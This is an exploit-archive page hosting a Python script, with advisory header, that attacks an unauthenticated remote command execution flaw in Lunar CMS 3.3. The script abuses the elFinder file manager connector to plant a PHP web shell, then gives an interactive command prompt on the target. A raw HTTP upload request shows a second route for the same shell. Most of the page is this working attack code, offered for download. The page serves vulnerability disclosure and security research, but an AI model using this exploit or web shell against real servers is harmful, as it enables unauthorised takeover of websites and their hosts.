exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Lunar CMS 3.3 Unauthenticated Remote Command Execution

Lunar CMS 3.3 Unauthenticated Remote Command Execution
Posted Jun 23, 2014
Authored by LiquidWorm | Site zeroscience.mk

Lunar CMS version 3.3 suffers from an unauthenticated remote command execution vulnerability.

tags | exploit, remote
SHA-256 | cff5b37c375544761fa806bc0c3496e624435a0bcb64202783a8ab5a37b0b5c2

Lunar CMS 3.3 Unauthenticated Remote Command Execution

Change Mirror Download
#!/usr/bin/env python
#
#
# Lunar CMS 3.3 Unauthenticated Remote Command Execution Exploit
#
#
# Vendor: Lunar CMS
# Product web page: http://www.lunarcms.com
# Affected version: 3.3
#
# Summary: Lunar CMS is a freely distributable open source content
# management system written for use on servers running the ever so
# popular PHP5 & MySQL.
#
# Desc: Lunar CMS suffers from an unauthenticated arbitrary command
# execution vulnerability. The issue is caused due to the improper
# verification of elfinder's upload/create/rename function in the file
# manager. This can be exploited to execute arbitrary PHP code by creating
# or uploading a malicious PHP script file that will be stored in '/files'
# directory.
#
# Tested on: Apache/2.4.7 (Win32)
# PHP/5.5.6
# MySQL 5.6.14
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2014-5189
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5189.php
#
# Vendor fix: http://lunarcms.com/Get.html
#
#
# 11.06.2014
#


import cookielib, urllib
import urllib2, sys, os

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 4:
print '\n\x20\x20[*] Usage: '+piton+' <hostname> <path> <filename.php>\n'
print '\x20\x20[*] Example: '+piton+' zeroscience.mk lunarcms backdoor.php\n'
sys.exit()

host = sys.argv[1]
path = sys.argv[2]
fname = sys.argv[3]

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

create = opener.open('http://'+host+'/'+path+'/admin/includes/elfinder/php/connector.php?cmd=mkfile&name='+fname+'&target=l1_XA')
#print create.read()

payload = urllib.urlencode({
'cmd' : 'put',
'target' : 'l1_'+fname.encode('base64','strict'),
'content' : '<?php passthru($_GET[\'cmd\']); ?>'
})

write = opener.open('http://'+host+'/'+path+'/admin/includes/elfinder/php/connector.php', payload)
#print write.read()
print '\n'
while True:
try:
cmd = raw_input('shell@'+host+':~# ')

execute = opener.open('http://'+host+'/'+path+'/files/'+fname+'?cmd='+urllib.quote(cmd))
reverse = execute.read()
print reverse;

if cmd.strip() == 'exit':
break

except Exception:
break

sys.exit()


#
# Using the upload vector:
#
# POST /lc/admin/includes/elfinder/php/connector.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://localhost/lc/admin/file_manager.php
# Content-Length: 443
# Content-Type: multipart/form-data; boundary=---------------------------156802976525302
# Cookie: PHPSESSID=n37tnhsdfs1sgolum477jgqg33
# Connection: keep-alive
# Pragma: no-cache
# Cache-Control: no-cache
#
# -----------------------------156802976525302
# Content-Disposition: form-data; name="cmd"
#
# upload
# -----------------------------156802976525302
# Content-Disposition: form-data; name="target"
#
# l1_XA
# -----------------------------156802976525302
# Content-Disposition: form-data; name="upload[]"; filename="shell.php"
# Content-Type: application/octet-stream
#
# <?php passthru($_GET['cmd']); ?>
# -----------------------------156802976525302--
#
#
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close